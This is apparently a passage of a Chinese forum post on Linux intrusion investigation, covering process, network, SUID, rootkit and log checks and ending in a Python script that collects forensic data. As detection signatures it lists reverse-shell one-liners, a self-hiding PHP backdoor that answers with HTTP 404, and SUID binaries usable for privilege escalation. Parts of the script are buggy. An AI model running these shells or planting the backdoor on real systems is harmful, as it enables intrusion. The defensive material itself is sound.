
    (c)ps命令和top命令从/proc文件系统中读取进程信息并显示出来。因此,如果一个进程的进程号没有在/proc文件系统中反映出来,则这个进程被“隐藏”了,“隐藏”进程在ps或top命令的输出不出现

    (9)网络连接信息

    分析方法:

    1.发现异常监听端口进程,异常的连接通信。

    2.与后面的lsof输出结果做对比来发现异常端口和连接(命令替换或者rootkit过滤不完全)。

    3.同类数据中聚合统计,如:pname,dst_ip,dst_port,src_port发现其恶意控制范围

    netstat -antup



    (10)netstat输出sockets信息

    分析方法:

    1.    通过白名单过滤来发现具有socket连接的进程信息

    netstat -plantux

    (11)lsof获取网络连接信息

    分析方法:

    1.与上面netstat获取的数据进行对比分析发现异常端口和连接

    lsof -nPi | grep -v"127.0.0.1" |grep -v "::1"

    ps:

    1.netstat无权限控制,lsof有权限控制,只能看到本用户

    2.losf能看到pid和用户,可以找到哪个进程占用了这个端口

    (12)进程文件

    分析方法:

    1.通过白名单过滤来发现异常进程。

    2.发现已处于deleted状态的异常进程

    find /proc -path '/proc/sys/fs'-prune -o -print |xargs  ls -al | grep'exe ->' | sort -u >tmp.txt



    (13)进程文件MD5计算

    分析方法:

    1.根据版本,和已知MD5值作对比判断文件是否被替换。

    2.Md5可以diff原始文件或者通过 VT跑一跑,分析有没有已知恶意程序



    find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep "exe ->" |awk '{print$11}'|sort -u >> tmp.txt

    for file in $( cat tmp.txt)

    do

      f=$( ls -tl $file|awk '{print$5}')

      if [ $f -le 50000000 ]; then

       md5sum $file >> exe.hash

      fi

    done

    diff exe.hash exe1.hash

    (14)具有SUID的可执行文件

    分析方法:

    1.    通过白名单顾虑发现可疑的就有suid权限的文件

    已知可以用来提权的linux可执行文件有:Nmap、vim、find、bash、more、less、nano、cp

    默认具有SUID的可执行文件如下:find / -user root -perm -4000 -print2>/dev/null





    (15)进程中被删除的文件

    分析方法:

    1.通过已删除的文件名判断是否为恶意的进程或者是被注入的恶意文件。

    lsof | grep DEL

    (16)rootkit检测(难点)

    分析方法:

    1.通过判断 /sys/module/rkmod 文件夹是否存在来判断是否感染已知的rkmod

    if [ -d "/sys/module/rkmod" ];then

         echo -e "/sys/module/rkmod  rootkit kernel mod exist\n">> $rootkit_file

       stat /sys/module/rkmod >> $ $rootkit_file

    fi



    三:日志异常检测

    对日志的理解:

    1.我能从何处得到等多的信息;

    2.怎样才能确定以上日志所描述内容的真实性

    3.日志显示的内容会有什么影响

    4.接下来会发什么,后面应该再关注那些其他事件的发生

    5.我应该怎么做,该有怎样的紧急防御措施和应对方案



    日志关注的内容:

    1.系统状态信息——可能影响系统的故障

    2.攻击的尝试何刺探——成功的攻击

    3.系统接近某些参数的高值——系统容量将要用尽或者达到某个最高值造成的原因

    4.系统变更——可能导致安全和可用性问题的系统变更

    5.成功的登录——失败的登录

    6.例行和自动化配置变更——安全相关配置变更

    7.连接建立/终止——检测未授权连接

    8.系统启动/关闭——系统奔溃

    9.硬件状态信息——硬件的失效



    (1)web日志

    分析项:

    1.对不存在的文件过度访问

    2.看上去是url的一部分的代码(sql,html)

    3.访问接受用户输入的危险页面

    4.一般情况下排除用户认证失败(错误代码:401,403)、无效的请求(错误代码:400)、内部服务器错误(错误代码:500)

    5.统计学,如统计访问量较多的IP、访问业务较少的动态的疑似webshell的页面

    ......

    如访问shell.php,会得到日志

    <?php

    phpinfo();

    ?>

    稍微改变下后门,添加header一句代码之后就会是

    <?php

    header('HTTP/1.1 404');

    ob_start();

    phpinfo();

    ob_end_clean();

    ?>





    (2)Audit日志

    一.错误登录日志

    分析方法:

    1.根据错误登录频次发现异常登录用户、登录IP。

    2.与passwd_login_users标签数据作对比,发现异常用户。

    3. 判断是否有超正常范围的 IP 登录记录。

    4.同类数据聚合统计acct用户,数量极少的用户需要人工排查



    grep -i "fail"/var/log/audit/audit.log*

    二.sudo操作日志

    分析方法:

    1.排除法,过滤掉正常用户的sudo权限

    2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

    grep -i "sudo"/var/log/audit/audit.log*



    三.信息统计

    分析方法:

    1. 获取系统近一个月的统计信息,如:用户数量,错误登录用户数,执行命令数,事件数等

    Aureport





    四:其他分析

    分析方法:

    1.根据业务排除系统正常的操作日志

    2.分析有无类似无bash环境的用户的操作记录,如apache用户的操作等



    (3)bash_history

    分析方法:

    1.有无反弹shell

    2.有无敏感的操作记录,如删除日志、端口转发等内网渗透操作

    bash -i >& /dev/tcp/ip/port 0>&1

    python -c "import os,socket,subprocess *

    nc -e /bin/bash *

    (4)登录日志

    1.    获取 /var/log/ 目录下 audit、btmp、wtmp、secure、cron、lastlog日志

    2.    异常常登录、异常用户、异常计划任务;

    3. 用排除法,去掉正常登录 IP,找出异常登录 IP;

    4. 通过白名单过滤,判断是否有异常ssh 登录;

    5. 统计确认是否有异常计划任务;

    6. 排除系统正常业务简化内容

    7.通过人工确认



    (5)系统日志

    如常见的secure、cron日志,结合业务进行分析

    1.linux命令组合拳的使用

    grep -ev 'ssh|telnet' /var/log/messages  查看除了包含ssh和telnet之外的所有日志

    gerp -f patterns /var/log/messages    查看匹配文件“patterns”中模式所有的消息

    cat messages |awk “{print $4}”|sort -u    查看文件记录了那些设备



    关键的信息点:

    成功登陆的用户        “Accepted password”、“Accepted publickey”、“session opened”

    失败的用户登录            “authentication failure”、“new user”、“deleteuser”

    用户注销                    “session closed”

    用户账户更改或者删除    “password changed”、“new user”、“deleteuser”

    sudo操作                “sudo:...COMMAND=...”,"failed su"

    服务故障                "failed"、"failure"

    0x03:半自动化

    以下内容可能会辣眼睛,观看时请不要喝水,linux实现常用shell,安全的小伙伴们一般都比较不一样的风格,用python实现简单的功能吧~

    #!/usr/bin/python3

    # -*- coding:utf-8 -*-#

    import os

    import re

    def info():

        print("基础版本信息")

        print("--------------------------------------------------------------------------------")

        version=os.system("uname a")

        print("logging users")

        print("--------------------------------------------------------------------------------")

        logging_users=os.system("w")

        print("系统运行时间")

        print("--------------------------------------------------------------------------------")

        os_time=os.system("uptime")

    #网卡信息

        network=os.system('ip link show | grep PROMISC')

    #路由信息

        route=os.system("route -n")

    #arp信息

        arp=os.system("arp -a -n")

    #显示当前时间

        time=os.system("timedatectl")

    #挂载信息

        mount=os.system("mount")

    #目前登录信息

        logging_user=os.system("w")

    #用户目前和过去的登录信息,对应/var/log/wtmp文件,last -f /var/log/wtmp

        loggied_user=os.system("last")

    #本地系统用户最后一次登录的信息,对应/var/log/utmp文件

        logging_user_info=os.system("lastlog")

    #用户错误登录的登录列表,对应/var/log/btmp文件

        logging_user_info=os.system("lastb")

    #这里可以做的事情:监控paasswd是否新增帐号;lastlog中系统用户从未登录过的用户是否登录;last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip,lastb登录错误的ip和用户是否在last登录成功的列表中



    #具有shell登录环境的用户cat /etc/rc.local

        #not_nologin_users=os.system("awk -F: '{if($7!~"nologin" && $7!~"shutdown" && $7!~"halt" && $7!~"false" && $7!~"sync") print}' /etc/passwd")

    #sudo授权信息

        sudo = os.system("cat /etc/sudoers | grep -Ev '^$|#'")

    #root用户登录时的源ip地址

        root_sshknow_hosts=os.system("awk '{print $1}' /root/.ssh/known_hosts")

    #其他用户登录时源ip地址

        #for file in os.system("ls /home"):system的结果为0,1等结果数值,无法取值进行循环

        os.system("ls /home > 1.txt")

        f = open("1.txt", "r")

        for file in f.readlines():

            file = file.strip()

            path = "/home/" + file + "/.ssh/known_hosts"

            # print(path)

            a = os.path.exists(path)

            # print(a)

            try:

                if a == True:

                    os.system("awk  '{print $1}' %s" % path)

            except FileNotFoundError:

                pass

        f.close()



    #/etc/rc.local 脚本内容,默认内容为:touch /var/lock/subsys/local

        auto_rclocal=os.system(' | grep -Ev "^#$|^#"')

    #crontab任务计划,crontab -l 或者 crontab -c /var/spool/cron/ -l,/etc/crontab为系统执行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务

        crontab=os.system('crontab -l')

    #cron.d 为系统级任务计划,crontab -l无法显示

        crond=os.system(' find /etc/cron.d/ |xargs ./busybox grep -Ev "^#"')

    #用户自定义启动项

        chkconfig_services=os.system('chkconfig --list')

    #系统自启动项,排除正常启动项,参考链接:https://www.cnblogs.com/benjamin77/p/9341702.html

        system_servers=os.system('systemctl list-unit-files | grep enabled | grep -Ev "ups.path|abrt-ccpp.service|abrt-oops.service|abrt-vmcore.service|abrt-xorg.service|abrtd.service|accounts-daemon.service|atd.service|auditd.service|avahi-daemon.service|bluetooth.service|chronyd.service|crond.service|cups.service|dbus-org.bluez.service|dbus-org.fedoraproject.FirewallD1.service|dbus-org.freedesktop.Avahi.service|dbus-org.freedesktop.ModemManager1.service|dbus-org.freedesktop.NetworkManager.service|dbus-org.freedesktop.nm-dispatcher.service|display-manager.service|dmraid-activation.service|firewalld.service|gdm.service|getty@.service|gitlab-runsvdir.service|irqbalance.service|iscsi.service|ksm.service|ksmtuned.service|libstoragemgmt.service|libvirtd.service|lvm2-monitor.service|mdmonitor.service|microcode.service|ModemManager.service|multipathd.service|netcf-transaction.service|NetworkManager-dispatcher.service|NetworkManager-wait-online.service|NetworkManager.service|postfix.service|rngd.service|rsyslog.service|rtkit-daemon.service|smartd.service|spice-vdagentd.service|sshd.service|sysstat.service|systemd-readahead-collect.service|systemd-readahead-drop.service|systemd-readahead-replay.service|tuned.service|vmtoolsd.service|avahi-daemon.socket|cups.socket|dm-event.socket|iscsid.socket|iscsiuio.socket|lvm2-lvmetad.socket|lvm2-lvmpolld.socket|rpcbind.socket|default.target|graphical.target|nfs-client.target|remote-fs.target"')

    #内核模块运行时的文件信息

        kernel_file=os.system("ls -alt /sys/module")

    #内核模块

        lsmod=os.system('lsmod | grep -Ev "Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_na|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"')

    #进程信息

        pstreew=os.system('ps auxfw')

    #网络连接信息

        network_listen=os.system('netstat -antup')

    #lsof网络连接信息,1.netstat无权限控制,lsof有权限控制,只能看到本用户2.losf能看到pid和用户,可以找到哪个进程占用了这个端口

        lsof_listen=os.system('lsof -nPi | grep -v "127.0.0.1" |grep -v "::1" |sort -u')

    #网络输出sockets信息

        network_connecttion=os.system("netstat -plantux")

    #防火墙信息

        iptables=os.system("iptables -L -nv")


    #sys/fs用于描述系统中的所有文件系统

    #排除/proc/sys/fs搜索所有exe表示具体的执行路径

        proc_exe=os.system("find /proc -path '/proc/sys/fs' -prune -o -print |xargs  ls -al | grep 'exe ->' | sort -u")

    #rpm包信息

        rpm=os.system("rpm -aV")

    #sshx相关rpm检测

        ssh_rpm=os.system("rpm -qa|grep ssh|xargs rpm -qV")



    #日志获取

    #history命令历史记录

        history=os.system("history")

    #其他用户历史记录,无需判断该用户是否有shell,如apche用户无history文件,若该用户执行了命令,可从audit日志中发现

        os.system("ls /home > 1.txt")

        f1 = open("1.txt", "r")

        for file in f.readlines():

         file = file.strip()

         path = "/home/" + file + "/.bash_history"

         a = os.path.exists(path)

         try:

            if a == True:

                os.system("cat %s" % path)

         except FileNotFoundError:

            pass

        f1.close()



    #var相关log日志获取,audit日志,btmp日志,wtmp日志,secure日志,corn日志,lastlog日志

        os.system("tar -zcf var_log.tar.gz  /var/log/audit \/var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* \/var/log/lastlog")

    #日志简单分析待补充

    if __name__ == "__main__":

        info()





    上一篇:任意php马过狗的思路
    下一篇:易语言自己制作短信呼|短信轰炸机|短信红炸鸡软件教程
    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表